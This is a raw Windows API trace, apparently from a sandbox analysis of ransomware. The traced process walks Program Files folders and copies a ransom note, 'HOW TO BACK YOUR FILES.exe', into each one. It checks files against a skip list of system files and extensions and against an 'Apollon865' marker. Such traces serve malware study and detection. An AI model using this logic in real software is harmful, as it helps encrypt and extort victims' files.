	[0062.639] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5"
	[0062.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0062.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0062.639] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned 58
	[0062.639] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5"
	[0062.639] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.639] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.645] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d692490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d692490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.645] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.645] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.645] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.645] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d692490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d692490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.645] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.645] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.645] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.645] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.645] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0062.645] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0062.645] lstrlenW (lpString="Desktop") returned 7
	[0062.646] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*") returned 60
	[0062.646] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0062.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0062.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0062.646] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0062.646] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d692490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d692490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.646] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.646] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="Apollon865.txt.exe") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="..") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="windows") returned -1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="bootmgr") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="temp") returned -1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="pagefile.sys") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="boot") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="ids.txt") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="ntuser.dat") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="perflogs") returned 1
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="MSBuild") returned 1
	[0062.646] lstrlenW (lpString="sqlceca35.dll") returned 13
	[0062.646] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned 66
	[0062.646] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="sqlceca35.dll" | out: lpString1="sqlceca35.dll") returned="sqlceca35.dll"
	[0062.646] lstrlenW (lpString="sqlceca35.dll") returned 13
	[0062.646] lstrlenW (lpString="Apollon865") returned 10
	[0062.646] lstrcmpiW (lpString1="ceca35.dll", lpString2="Apollon865") returned 1
	[0062.646] lstrlenW (lpString=".dll") returned 4
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".dll") returned 1
	[0062.646] lstrlenW (lpString=".lnk") returned 4
	[0062.646] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".lnk") returned 1
	[0062.646] lstrlenW (lpString=".ini") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".ini") returned 1
	[0062.647] lstrlenW (lpString=".sys") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".sys") returned 1
	[0062.647] lstrlenW (lpString="sqlceca35.dll") returned 13
	[0062.647] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="sqlcecompact35.dll" | out: lpString1="sqlcecompact35.dll") returned="sqlcecompact35.dll"
	[0062.647] lstrlenW (lpString="sqlcecompact35.dll") returned 18
	[0062.647] lstrlenW (lpString="Apollon865") returned 10
	[0062.647] lstrcmpiW (lpString1="pact35.dll", lpString2="Apollon865") returned 1
	[0062.647] lstrlenW (lpString=".dll") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".dll") returned 1
	[0062.647] lstrlenW (lpString=".lnk") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".lnk") returned 1
	[0062.647] lstrlenW (lpString=".ini") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".ini") returned 1
	[0062.647] lstrlenW (lpString=".sys") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlcecompact35.dll", lpString2=".sys") returned 1
	[0062.647] lstrlenW (lpString="sqlcecompact35.dll") returned 18
	[0062.647] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="sqlceer35EN.dll" | out: lpString1="sqlceer35EN.dll") returned="sqlceer35EN.dll"
	[0062.647] lstrlenW (lpString="sqlceer35EN.dll") returned 15
	[0062.647] lstrlenW (lpString="Apollon865") returned 10
	[0062.647] lstrcmpiW (lpString1="er35EN.dll", lpString2="Apollon865") returned 1
	[0062.647] lstrlenW (lpString=".dll") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".dll") returned 1
	[0062.647] lstrlenW (lpString=".lnk") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".lnk") returned 1
	[0062.647] lstrlenW (lpString=".ini") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".ini") returned 1
	[0062.647] lstrlenW (lpString=".sys") returned 4
	[0062.647] lstrcmpiW (lpString1="sqlceer35EN.dll", lpString2=".sys") returned 1
	[0062.648] lstrlenW (lpString="sqlceer35EN.dll") returned 15
	[0062.648] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="sqlceme35.dll" | out: lpString1="sqlceme35.dll") returned="sqlceme35.dll"
	[0062.648] lstrlenW (lpString="sqlceme35.dll") returned 13
	[0062.648] lstrlenW (lpString="Apollon865") returned 10
	[0062.648] lstrcmpiW (lpString1="ceme35.dll", lpString2="Apollon865") returned 1
	[0062.648] lstrlenW (lpString=".dll") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".dll") returned 1
	[0062.648] lstrlenW (lpString=".lnk") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".lnk") returned 1
	[0062.648] lstrlenW (lpString=".ini") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".ini") returned 1
	[0062.648] lstrlenW (lpString=".sys") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".sys") returned 1
	[0062.648] lstrlenW (lpString="sqlceme35.dll") returned 13
	[0062.648] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="sqlceoledb35.dll" | out: lpString1="sqlceoledb35.dll") returned="sqlceoledb35.dll"
	[0062.648] lstrlenW (lpString="sqlceoledb35.dll") returned 16
	[0062.648] lstrlenW (lpString="Apollon865") returned 10
	[0062.648] lstrcmpiW (lpString1="ledb35.dll", lpString2="Apollon865") returned 1
	[0062.648] lstrlenW (lpString=".dll") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".dll") returned 1
	[0062.648] lstrlenW (lpString=".lnk") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".lnk") returned 1
	[0062.648] lstrlenW (lpString=".ini") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".ini") returned 1
	[0062.648] lstrlenW (lpString=".sys") returned 4
	[0062.648] lstrcmpiW (lpString1="sqlceoledb35.dll", lpString2=".sys") returned 1
	[0062.648] lstrlenW (lpString="sqlceoledb35.dll") returned 16
	[0062.648] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="sqlceqp35.dll" | out: lpString1="sqlceqp35.dll") returned="sqlceqp35.dll"
	[0062.649] lstrlenW (lpString="sqlceqp35.dll") returned 13
	[0062.649] lstrlenW (lpString="Apollon865") returned 10
	[0062.649] lstrcmpiW (lpString1="ceqp35.dll", lpString2="Apollon865") returned 1
	[0062.649] lstrlenW (lpString=".dll") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".dll") returned 1
	[0062.649] lstrlenW (lpString=".lnk") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".lnk") returned 1
	[0062.649] lstrlenW (lpString=".ini") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".ini") returned 1
	[0062.649] lstrlenW (lpString=".sys") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlceqp35.dll", lpString2=".sys") returned 1
	[0062.649] lstrlenW (lpString="sqlceqp35.dll") returned 13
	[0062.649] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="sqlcese35.dll" | out: lpString1="sqlcese35.dll") returned="sqlcese35.dll"
	[0062.649] lstrlenW (lpString="sqlcese35.dll") returned 13
	[0062.649] lstrlenW (lpString="Apollon865") returned 10
	[0062.649] lstrcmpiW (lpString1="cese35.dll", lpString2="Apollon865") returned 1
	[0062.649] lstrlenW (lpString=".dll") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".dll") returned 1
	[0062.649] lstrlenW (lpString=".lnk") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".lnk") returned 1
	[0062.649] lstrlenW (lpString=".ini") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".ini") returned 1
	[0062.649] lstrlenW (lpString=".sys") returned 4
	[0062.649] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".sys") returned 1
	[0062.649] lstrlenW (lpString="sqlcese35.dll") returned 13
	[0062.649] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop"
	[0062.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0062.649] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0062.650] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned 66
	[0062.650] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop"
	[0062.650] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.650] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.653] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d692490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d692490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.654] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.654] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.654] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.654] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d692490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d692490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.654] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.654] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.654] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.654] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.654] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d692490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d692490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.654] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.654] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d692490, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d692490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.654] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.654] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7950
	[0062.654] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0062.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0062.654] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0062.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33
	[0062.654] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office" | out: lpString1="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0062.654] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.654] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.658] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3d6b85f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d6b85f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.658] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.658] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.659] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.659] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3d6b85f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d6b85f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.659] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.659] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.659] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.659] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.659] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0062.659] lstrcmpiW (lpString1="CLIPART", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.659] lstrcmpiW (lpString1="CLIPART", lpString2="Apollon865.txt.exe") returned 1
	[0062.659] lstrcmpiW (lpString1="CLIPART", lpString2=".") returned 1
	[0062.659] lstrcmpiW (lpString1="CLIPART", lpString2="..") returned 1
	[0062.659] lstrcmpiW (lpString1="CLIPART", lpString2="windows") returned -1
	[0062.659] lstrcpyW (in: lpString1=0x2d3e594, lpString2="CLIPART" | out: lpString1="CLIPART") returned="CLIPART"
	[0062.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0062.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5983a8
	[0062.659] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0062.659] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1
	[0062.659] lstrcmpiW (lpString1="Document Themes 14", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.659] lstrcmpiW (lpString1="Document Themes 14", lpString2="Apollon865.txt.exe") returned 1
	[0062.659] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Document Themes 14" | out: lpString1="Document Themes 14") returned="Document Themes 14"
	[0062.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0062.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59aa88
	[0062.659] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0062.659] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf492a220, ftCreationTime.dwHighDateTime=0x1d4daa0, ftLastAccessTime.dwLowDateTime=0x679fb160, ftLastAccessTime.dwHighDateTime=0x1d532a1, ftLastWriteTime.dwLowDateTime=0x679fb160, ftLastWriteTime.dwHighDateTime=0x1d532a1, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hammervitalapproximately.exe", cAlternateFileName="HAMMER~1.EXE")) returned 1
	[0062.659] lstrcmpiW (lpString1="hammervitalapproximately.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.659] lstrcmpiW (lpString1="hammervitalapproximately.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.659] lstrcpyW (in: lpString1=0x2d3e594, lpString2="hammervitalapproximately.exe" | out: lpString1="hammervitalapproximately.exe") returned="hammervitalapproximately.exe"
	[0062.659] lstrlenW (lpString="hammervitalapproximately.exe") returned 28
	[0062.660] lstrlenW (lpString="Apollon865") returned 10
	[0062.660] lstrcmpiW (lpString1="mately.exe", lpString2="Apollon865") returned 1
	[0062.660] lstrlenW (lpString=".dll") returned 4
	[0062.660] lstrcmpiW (lpString1="hammervitalapproximately.exe", lpString2=".dll") returned 1
	[0062.660] lstrlenW (lpString=".lnk") returned 4
	[0062.660] lstrcmpiW (lpString1="hammervitalapproximately.exe", lpString2=".lnk") returned 1
	[0062.660] lstrlenW (lpString=".ini") returned 4
	[0062.660] lstrcmpiW (lpString1="hammervitalapproximately.exe", lpString2=".ini") returned 1
	[0062.660] lstrlenW (lpString=".sys") returned 4
	[0062.660] lstrcmpiW (lpString1="hammervitalapproximately.exe", lpString2=".sys") returned 1
	[0062.660] lstrlenW (lpString="hammervitalapproximately.exe") returned 28
	[0062.660] lstrcpyW (in: lpString1=0x2d3e594, lpString2="MEDIA" | out: lpString1="MEDIA") returned="MEDIA"
